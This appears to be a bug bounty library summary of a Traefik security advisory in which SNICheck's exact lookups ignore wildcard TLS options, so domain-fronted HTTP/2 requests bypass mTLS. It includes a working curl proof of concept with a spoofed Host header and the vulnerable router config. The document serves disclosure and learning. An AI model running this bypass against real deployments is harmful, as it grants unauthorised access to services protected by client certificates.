# Traefik: SNICheck ignores wildcard TLSOptions mappings, allowing domain-fronted mTLS bypass

Traefik SNICheck resolves wildcard TLSOptions with exact lookups only, letting domain-fronted requests bypass mTLS on wildcard routers.

- Payout: Research
- Severity: high
- Program: Traefik
- Found by: kamil-sawicki, westonsteimel
- Disclosed: 2026-06-16
- CVE: CVE-2026-48491
- Write-up quality: 8/10
- Original: https://github.com/advisories/GHSA-5r4w-85f3-pw66
- Library page: http://bugbountylibrary.com/r/ghsa%3AGHSA-5r4w-85f3-pw66
- Tags: area:cloud domain:infra impact:internal-access kind:research platform:ghsa sev:high tech:go technique:chained technique:source-review vuln:access-control vuln:auth-bypass

**Target:** Traefik reverse proxy SNICheck middleware / HTTPS entrypoint
**Root cause:** SNICheck's findTLSOptionName uses exact map lookups on tlsOptionsForHost and never applies wildcard matching, so a wildcard Host rule's stricter TLSOptions are not associated with the HTTP Host header. The router's HostSNI matching is wildcard-aware, creating a mismatch.
**Steps:**
1. Configure a wildcard router `Host(`*.example.com`)` with `tls.options: mtls` (RequireAndVerifyClientCert) and a permissive router `Host(`public.example.net`)` with `tls: {}` on the same entrypoint.
2. Direct request to `https://api.example.com:8443/` fails with TLS alert 'certificate required'.
3. Send `curl --http2 -skv --resolve public.example.net:8443:127.0.0.1 https://public.example.net:8443/ -H 'Host: api.example.com'`.
4. TLS handshake uses permissive SNI public.example.net; HTTP/2 request authority is api.example.com.
5. SNICheck classifies both sides as default (no wildcard match), returns no 421; router matches wildcard protected backend and forwards request without client cert.
6. Observe HTTP/2 200 with `Name: PROTECTED` and `Host: api.example.com`.
**How found:** Reporter noticed public issue #12349 where wildcard hosts were classified as 'default' by SNICheck causing 421 errors, and hypothesized the same wildcard resolution gap could be a security false-negative when a permissive SNI exists on the same entrypoint.
**Exploitation:** Attacker completes TLS handshake under a permissive SNI on the same entrypoint, then sends an HTTP/2 request with Host/authority targeting a wildcard-protected backend. SNICheck's exact lookup misses the wildcard TLSOptions, so the domain-fronting check passes and the request reaches the mTLS-protected service without a client certificate.
**Insight:** When a security check re-implements host matching separately from the router, compare the two matching semantics; wildcard rules are a common divergence point that turns an availability bug into an auth bypass.

## Proof of concept (copied exactly from the original report)

**Domain-fronted curl bypassing wildcard mTLS**

```
curl --noproxy '*' --http2 -skv \
  --resolve public.example.net:8443:127.0.0.1 \
  https://public.example.net:8443/ \
  -H 'Host: api.example.com'

Observed result:

HTTP/2 200
Name: PROTECTED
Host: api.example.com
```

**Wildcard router TLSOptions dynamic config**

```
http:
  routers:
    protected:
      rule: Host(`*.example.com`)
      service: protected
      tls:
        options: mtls

    public:
      rule: Host(`public.example.net`)
      service: public
      tls: {}

  services:
    protected:
      loadBalancer:
        servers:
          - url: http://protected:80

    public:
      loadBalancer:
        servers:
          - url: http://public:80

tls:
  certificates:
    - certFile: /certs/server.crt
      keyFile: /certs/server.key

  options:
    mtls:
      clientAuth:
        caFiles:
          - /certs/ca.crt
        clientAuthType: RequireAndVerifyClientCert
```

